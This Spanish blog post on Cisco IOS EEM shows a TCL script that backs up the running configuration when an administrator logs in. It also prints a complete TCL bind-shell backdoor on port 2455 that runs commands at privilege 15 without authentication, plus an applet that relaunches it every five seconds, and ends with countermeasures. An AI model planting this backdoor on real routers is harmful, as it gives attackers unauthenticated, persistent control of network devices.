Jugando con Cisco EEM (II)

Siguiendo con la entrada del otro día Jugando con Cisco EEM (I) otra opción que tenemos en EEM es generar acciones mediante scripts escritos en el lenguaje interpretado TCL (Tool Command Language 8.3.4) ), ya sea por que estén almacenados de forma local o en un servidor remoto.

Usar TCL nos permite disponer de toda la flexibilidad que el lenguaje nos proporciona, como el uso de namespaces, y permite la ejecución de comandos en IOS. Una buena guía para ello es el siguiente libro.

Dentro de IOS tenemos el intérprete interactivo de TCL donde podremos lanzar comandos propios de IOS:

S2router#tclsh
S2router(tcl)# exec "copy running-config flash:tcl-copia.txt"                                                                                         
5644 bytes copied in 0.948 secs (5954 bytes/sec)    

S2router#dir                                                                    
Directory of flash:/                                                            
                                                                                
    1  -rw-    18716748  Dec 16 2008 08:40:28 +00:00  c1841-advsecurityk9-mz.12n
    2  -rw-        2746  Dec 16 2008 08:55:52 +00:00  sdmconfig-18xx.cfg        
    3  -rw-      931840  Dec 16 2008 08:56:14 +00:00  es.tar                    
    4  -rw-     1505280  Dec 16 2008 08:56:36 +00:00  common.tar                
    5  -rw-        1038  Dec 16 2008 08:56:54 +00:00  home.shtml                
    6  -rw-      112640  Dec 16 2008 08:57:12 +00:00  home.tar                  
    7  -rw-      527849  Dec 16 2008 08:57:30 +00:00  128MB.sdf                 
    8  -rw-        5644  Dec 27 2013 10:39:40 +00:00  backup.txt                
    9  -rw-        5702  Dec 27 2013 10:21:18 +00:00  copia.txt                 
   10  -rw-        5644  Dec 27 2013 10:43:42 +00:00  tcl-copia.txt             

Por lo tanto, podríamos tener un script con la configuración anterior y una vez subido al sistema, por ejemplo por FTP, poder usarlo desde el kron como hemos visto antes llamando al comando tclsh flash:script.tcl o en un applet como una acción similar, no obstante, preferimos crear un script nuevo para compilar en el sistema y poder usarlo dentro del applet.

Para poder usar nuestro script, realizaremos los siguientes pasos:

    1. Creamos un script TCL que copie la configuración a flash. Lógicamente necesitaremos un mínimo de conocimiento de la estructura de programación TCL para nuestro script ya que hay que registrar la policy o usar namespaces. Nuestro script quedará de la siguiente forma:
::cisco::eem::event_register_none
namespace import ::cisco::eem::*
namespace import ::cisco::lib::*

if [catch {cli_open} result] {
 error $result $errorInfo
} else {
 array set cli $result
}
 
if [catch {cli_exec $cli(fd) "enable"} result] {
 error $result $errorInfo
}

if [catch {cli_exec $cli(fd) "copy running-config flash:TCL.txt"} result] {
 error $result $errorInfo
}

cli_close $cli(fd) $cli(tty_id)

El script se llama desde un VTY por lo tanto, es muy importante el cierre de sesiones después de que el script realice su tarea ya que podríamos perder el acceso remoto si ocupamos todas las sesiones disponibles.

    2. Creamos un directorio para guardar los scripts y almacenamos nuestro script en él:
    
S2router#mkdir  flash:policies                                                  
Created dir flash:policies                                                      
S2router#copy flash:script.tcl flash:/policies/   

S2router#copy  ftp:script.tcl flash:/policies/                                  
Accessing ftp://172.18.0.150/script.tcl...                                      
Loading script.tcl                                                              
[OK - 113/4096 bytes]                                                           
                                                                                
113 bytes copied in 10.776 secs (10 bytes/sec)   
    3. Registramos el directorio donde almacenaremos los script en Cisco IOS EEM:
S2router(config)# event manager directory user policy flash:/policies

S2router# show event manager directory  user  policy                               
flash:/policies  
    4. A continuación, registramos nuestro script. Al registrarlo, el sistema lo compila para poder usarlo después (debug activado)
S2router(config)# event manager policy script.tcl type user                                
                                                                                                                  
*Dec 27 11:31:24.859: fh_tcl_get_mode: mode = 0, StartupScript = flash:/policies/
    script.tcl, RealScript = flash:/policies/script.tcl    
*Dec 27 11:31:24.863: fh_register_evreg_cmds: tctx=63F539A8, dummy=0                                                                    
*Dec 27 11:31:24.867: fh_compile_check: filename=flash:/policies/script.tcl                                                             
*Dec 27 11:31:24.879: fh_compile_check: current_scriptname=script.tcl                                                                   
*Dec 27 11:31:24.895: tclsh: precompilation passed                                                                                     
*Dec 27 11:31:24.907: [fh_event_register_none_cmd]                                                                                      
*Dec 27 11:31:24.907: fh_tcl_assoc_data_delproc: freeing tctx=63F539A8   

Ya tenemos nuestro script disponible para usarlo, por lo que aparece como available de tipo usuario. Podemos ver que hay otros definidos de tipo system:

S2router# show  event manager  policy available                                  
No.  Type    Time Created                  Name                                 
1    user    Tue Dec28  11:05:36 1943      script.tcl                           
2    system  Thu Feb 7  06:28:15 2036      sl_intf_down.tcl                     
3    system  Thu Feb 7  06:28:15 2036      tm_cli_cmd.tcl   
    5. Finalmente, podremos asociarlo a nuestro applet:
S2router(config)# event manager applet ACCESOS                                 
S2router(config-applet)# event syslog pattern "Privilege level set to 15 by"    
S2router(config-applet)# action 1.0 cli syslog priority debugging msg 
    "ACCESO PRIVILEGIADO"               
S2router(config-applet)# action 2.0 policy script.tcl  

Y comprobamos que lo tenemos registrado correctamente en el sistema:

S2router# show  event manager  policy  registered 
No.  Class   Type    Event Type          Trap  Time Registered           Name
1    applet  system  syslog              Off   Fri Dec 27 11:09:31 2013  ACCESOS
 pattern {Privilege level set to 15 by}
 action 1.0 syslog priority debugging msg "ACCESO PRIVILEGIADO"
 action 2.0 policy script.tcl

2    script  user    none                Off   Fri Dec 27 11:23:48 2013  script.tcl
 policyname {script.tcl}
 nice 0 queue-priority normal maxrun 20.000

En este momento, accedemos de forma remota al dispositivo en modo privilegiado, viendo por consola la ejecución del script si tenemos el debug activado:

*Dec 27 12:09:41.383: %SYS-5-PRIV_AUTH_PASS: Privilege level set to 15 by jose on vty0 
    (172.18.0.150)                                   
*Dec 27 12:09:41.391: %HA_EM-7-LOG: ACCESOS: ACCESO PRIVILEGIADO                                                                                                                                                                                               
*Dec 27 12:09:41.395: fh_tcl_esi_open: fd=0                                                                                             
*Dec 27 12:09:41.395: fh_tcl_esi_open: fd=3                                                                                             
*Dec 27 12:09:41.395: fh_tcl_esi_open: fd=4                                                                                             
*Dec 27 12:09:41.399: fh_tcl_get_mode: mode = 1, StartupScript = system:/lib/tcl/
    base.tcl, RealScript = system:/lib/tcl/eem_scripts_regl
*Dec 27 12:09:41.423: fh_register_evreg_cmds: tctx=63138D2C, dummy=1                                                                    
*Dec 27 12:09:41.427: fh_tcl_compile_policy: evaluating policy: startup_scriptname
    =system:/lib/tcl/base.tcl, real_scriptname=system:/lil
*Dec 27 12:09:41.431: fh_tcl_slave_interp_init: interp=63126C18, tctx=63138D2C, 
    fh_mode=1,real=system:/lib/tcl/eem_scripts_registered/=
*Dec 27 12:09:41.451: fh_register_evreg_cmds: tctx=63138D2C, dummy=1                                                                    
*Dec 27 12:09:41.715: [fh_dummy_cmd]                                                                                                    
*Dec 27 12:09:42.031: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.031: [fh_tty_open_cmd]                                                                                                 
*Dec 27 12:09:42.035: [fh_sys_reqinfo_routername_cmd]                                                                                   
*Dec 27 12:09:42.035: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.035: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:42.155: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.155: [fh_tty_read_cmd] size= 39                                                                                        
*Dec 27 12:09:42.255: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.255: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.255: [fh_tty_write_cmd]                                                                                                
*Dec 27 12:09:42.255: [fh_tty_write_cmd] cmd = enable, cmdsize = 6                                                                      
*Dec 27 12:09:42.255: [fh_sys_reqinfo_routername_cmd]                                                                                   
*Dec 27 12:09:42.255: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.255: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:42.359: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.359: [fh_tty_read_cmd] size= 11                                                                                        
*Dec 27 12:09:42.459: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.459: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:42.459: [fh_tty_write_cmd]                                                                                                
*Dec 27 12:09:42.459: [fh_tty_write_cmd] cmd = copy running-config 
   flash:TCL.txt, cmdsize = 33                                          
*Dec 27 12:09:42.459: [fh_sys_reqinfo_routername_cmd]                                                                                   
*Dec 27 12:09:42.459: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.459: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:42.663: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.663: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:42.863: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:42.863: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:43.063: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:43.063: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:43.227: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:43.227: [fh_tty_read_cmd] read not ready                                                                                  
*Dec 27 12:09:43.343: [fh_tty_read_cmd]                                                                                                 
*Dec 27 12:09:43.343: [fh_tty_read_cmd] size= 61                                                                                        
*Dec 27 12:09:43.447: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:43.447: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:43.447: [fh_cli_debug_cmd]                                                                                                
*Dec 27 12:09:43.447: [fh_tty_write_cmd]                                                                                                
*Dec 27 12:09:43.447: [fh_tty_write_cmd] cmd = exit, cmdsize = 4                                                                        
*Dec 27 12:09:43.547: [fh_tty_close_cmd]                                                                                                
*Dec 27 12:09:43.559: fh_tcl_esi_close: fd=0                                                                                            
*Dec 27 12:09:43.559: fh_tcl_assoc_data_delproc: freeing tctx=63138D2C                                                                  
*Dec 27 12:09:43.583: fh_tcl_esi_close: fd=4                                                                                            
*Dec 27 12:09:43.583: fh_tcl_esi_close: fd=3

Y en la flash ya estaría nuestra copia de seguridad:

S2router#dir                                                                    
Directory of flash:/                                                            
                                                                                
    1  -rw-    18716748  Dec 16 2008 08:40:28 +00:00  c1841-advsecurityk9-mz.12n
    2  -rw-        2746  Dec 16 2008 08:55:52 +00:00  sdmconfig-18xx.cfg        
    3  -rw-      931840  Dec 16 2008 08:56:14 +00:00  es.tar                    
    4  -rw-     1505280  Dec 16 2008 08:56:36 +00:00  common.tar                
    5  -rw-        1038  Dec 16 2008 08:56:54 +00:00  home.shtml                
    6  -rw-      112640  Dec 16 2008 08:57:12 +00:00  home.tar                  
    7  -rw-      527849  Dec 16 2008 08:57:30 +00:00  128MB.sdf                 
    8  -rw-        5644  Dec 27 2013 10:39:40 +00:00  backup.txt                
    9  -rw-        5702  Dec 27 2013 10:21:18 +00:00  copia.txt                 
   10  -rw-        5644  Dec 27 2013 10:43:42 +00:00  tcl-copia.txt    
   11  -rw-        5579  Dec 27 2013 12:09:42 +00:00  TCL.txt   
   12  drw-           0  Dec 27 2013 10:58:06 +00:00 policies                                                                                                   

Como hemos visto, EEM es una herramienta muy potente a la hora de ejecutar acciones ante la detección de eventos generados por los distintos subsistemas de IOS, no obstante, hay que tener cuidado con los scripts que subimos al sistema ya que, al igual que nos pueden ayudar en la identificación y notificación proactiva de eventos, pueden suponer un problema de seguridad.

Imaginemos por ejemplo que cargamos un script que abre un socket en el router de forma que dispongamos de una puerta trasera para la autenticación habitual configurada para el sistema, como muy bien explican en el paper Creating Backdoors in Cisco IOS using Tcl.

Resumiendo el paper, subimos un script TCL que abre un socket en el puerto 2455 de nuestro router ; en nuestro caso, el script usado, del mismo autor, es distinto al mostrado en el paper anterior, y en lugar de cargarlo como el intérprete de TCL, lo añadimos como acción a un applet EEM.

proc callback {sock addr port} {
fconfigure $sock -translation lf -buffering line
puts $sock " "
puts $sock "-------------------------------------"
puts $sock "TclShell v0.1 by Andy Davis, IRM 2007"
puts $sock "-------------------------------------"
puts $sock " "
set response [exec "sh ver | inc IOS"]
puts $sock $response
set response [exec "sh priv"]
puts $sock $response
puts $sock " "
puts $sock "#"
fileevent $sock readable [list echo $sock]
}
proc echo {sock} {
global var
if {[eof $sock] || [catch {gets $sock line}]} {
} else {
set response [exec "$line"]
puts $sock $response
}
}
set port 2455
set sh [socket -server callback $port]
vwait var
close $sh

A continuación lo subimos a nuestro directorio de policies:

S2router#copy  ftp:shell.tcl flash:policies/
Accessing ftp://172.18.0.150/shell.tcl...                                       
Loading shell.tcl !                                                             
[OK - 664/4096 bytes] 

S2router#dir  flash:policies                                                    
Directory of flash:/policies/                                                   
                                                                                
   14  -rw-         411  Dec 27 2013 12:09:08 +00:00  script.tcl                
   18  -rw-         664  Dec 27 2013 17:27:52 +00:00  shell.tcl  

Todavía no lo hemos añadido como applet, no obstante, probamos su funcionamiento (bloquea la consola):

S2router# tclsh flash:policies/shell.tcl     

Et voilà, tenemos una consola en el dispositivo sin necesidad de autenticarnos:

jvillalon@PC:~$ telnet 172.18.0.200 2455
Trying 172.18.0.200...
Connected to 172.18.0.200.
Escape character is '^]'.
 
-------------------------------------
TclShell v0.1 by Andy Davis, IRM 2007
-------------------------------------
 
Cisco IOS Software, 1841 Software (C1841-ADVSECURITYK9-M), Version 12.4(3i), 
    RELEASE SOFTWARE (fc2)

Current privilege level is 15

Podemos ver que hay una sesión establecida en el puerto del backdoor:

S2router#show  tcp  brief 
TCB       Local Address           Foreign Address        (state)
6426FA4C  172.18.0.200.2455       172.18.0.150.60755     ESTAB
6427156C  172.18.0.200.22         172.18.0.150.40359     ESTAB

Si finalmente lo usamos en nuestro applet, dispondremos de acceso y sin bloqueo de la consola (se lanza cada 5 segundos):

S2router(config)#  event manager applet SHELL
S2router(config-applet)# event timer countdown time 5
S2router(config-applet)# action 1.0 cli command "enable"
S2router(config-applet)# action 2.0 cli command "tclsh flash:policies/shell.tcl"

Aunque cuando se ejecuta un script se ejecuta como safe TCL mode, con restricciones a la hora de ejecutar algunos comandos de acceso al sistema para asegurar la integridad del sistema, hemos visto claramente que hay otras acciones que podemos llevar a cabo sin problemas.

Una posible contramedida si usamos EEM podría ser limitar el usuario con que se ejecutan las políticas EEM con el comando event manager session cli username de forma que, cuando tenemos un servidor TACACS+ configurado, podremos validar que comandos puede ejecutar el script en base a los permisos del usuario. Otras contramedidas a nivel global sería disponer de nuestros sistemas actualizados, limitar el acceso al Shell de TCL a los usuarios o los comandos que pueden ejecutarse en el script, aunque esté disponible para el administrador (enable mode) por defecto, y por supuesto, revisar todos los scripts que tengamos que utilizar en nuestro sistema.

Finalmente, si miramos atrás, podemos observar que sólo hemos usado un patrón de búsqueda en los applets no obstante, en las versiones nuevas de EEM (a partir de la versión 2.4), es posible definir varios patrones permitiéndonos una correlación de eventos (entre 6 y 8) durante una ventana temporal; en nuestro ejemplo, podríamos hacer una copia de seguridad cuando un administrador entre al dispositivo y notificar por correo electrónico si además, entra en modo de configuración. La nueva versión también permite usar bytecode scripts (BCL), mejorando el rendimiento debido a que el script ya esta compilado.

Ejemplos más útiles del uso de EEM podrían ser disponer de un script que modifique las rutas de red automáticamente si se detecta algún tipo de caída (similar a los sla monitor y tracks), un script que añada a una ACL definida, una dirección IP que nuestros patrones identifiquen como atacante si no disponemos de un IDS/IPS o que nos alerte en caso de que los contadores de las ACLs superen un umbral concreto.

Comments

  1. Muy buen aporte, Gracias de mucha ayuda